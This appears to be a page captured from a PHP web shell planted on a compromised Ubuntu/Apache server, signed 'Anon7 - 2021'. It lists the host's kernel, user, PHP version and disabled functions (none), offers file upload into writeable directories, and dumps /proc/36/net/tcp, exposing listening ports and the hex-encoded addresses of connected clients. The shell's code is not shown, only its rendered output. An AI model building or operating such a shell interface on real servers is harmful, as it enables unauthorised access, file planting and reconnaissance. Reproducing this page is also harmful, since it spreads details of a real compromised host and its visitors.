KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /proc/36/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/36/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 14782 1 0000000000000000 100 0 0 10 0                     
   1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 19181 1 0000000000000000 100 0 0 10 0                     
   2: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 17265 1 0000000000000000 100 0 0 10 0                     
   3: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 14784 1 0000000000000000 100 0 0 10 0                     
   4: 1CE6FA2E:01BB A9D849D8:EB82 01 00000000:00000000 02:000AFB04 00000000    33        0 2540310 3 0000000000000000 45 4 33 10 1200                
   5: 1CE6FA2E:01BB D4F6F323:A85A 06 00000000:00000000 03:0000126A 00000000     0        0 0 3 0000000000000000                                      
   6: 1CE6FA2E:0050 D4F6F323:A4E6 06 00000000:00000000 03:00001214 00000000     0        0 0 3 0000000000000000                                      
   7: 1CE6FA2E:01BB A9D849D8:594F 06 00000000:00000000 03:00001590 00000000     0        0 0 3 0000000000000000                                      
   8: 1CE6FA2E:01BB A9D849D8:E0AB 06 00000000:00000000 03:00000161 00000000     0        0 0 3 0000000000000000                                      
   9: 1CE6FA2E:0050 D4F6F323:A4F0 06 00000000:00000000 03:0000123F 00000000     0        0 0 3 0000000000000000                                      
  10: 1CE6FA2E:0050 D4F6F323:A4D8 06 00000000:00000000 03:00001212 00000000     0        0 0 3 0000000000000000                                      
  11: 1CE6FA2E:01BB A9D849D8:18BD 01 00000000:00000000 02:000AFAD9 00000000    33        0 2542833 2 0000000000000000 54 4 4 10 1200                 
  12: 1CE6FA2E:01BB D4F6F323:A850 06 00000000:00000000 03:00001263 00000000     0        0 0 3 0000000000000000                                      
  13: 1CE6FA2E:0050 D4F6F323:A4A0 06 00000000:00000000 03:0000120E 00000000     0        0 0 3 0000000000000000                                      
  14: 1CE6FA2E:01BB A9D849D8:9D0A 06 00000000:00000000 03:000003C7 00000000     0        0 0 3 0000000000000000                                      
  15: 1CE6FA2E:0050 D4F6F323:A4C8 06 00000000:00000000 03:0000120D 00000000     0        0 0 3 0000000000000000                                      
  16: 1CE6FA2E:0050 D4F6F323:A4BA 06 00000000:00000000 03:0000120F 00000000     0        0 0 3 0000000000000000                                      
  17: 1CE6FA2E:0050 D4F6F323:A4DA 06 00000000:00000000 03:00001214 00000000     0        0 0 3 0000000000000000                                      
  18: 1CE6FA2E:0050 D4F6F323:A4AC 06 00000000:00000000 03:0000120E 00000000     0        0 0 3 0000000000000000                                      
  19: 1CE6FA2E:01BB 18E3074A:8AD0 01 00000000:00000000 02:000AF346 00000000    33        0 2543822 2 0000000000000000 41 4 29 10 -1                  

Anon7 - 2021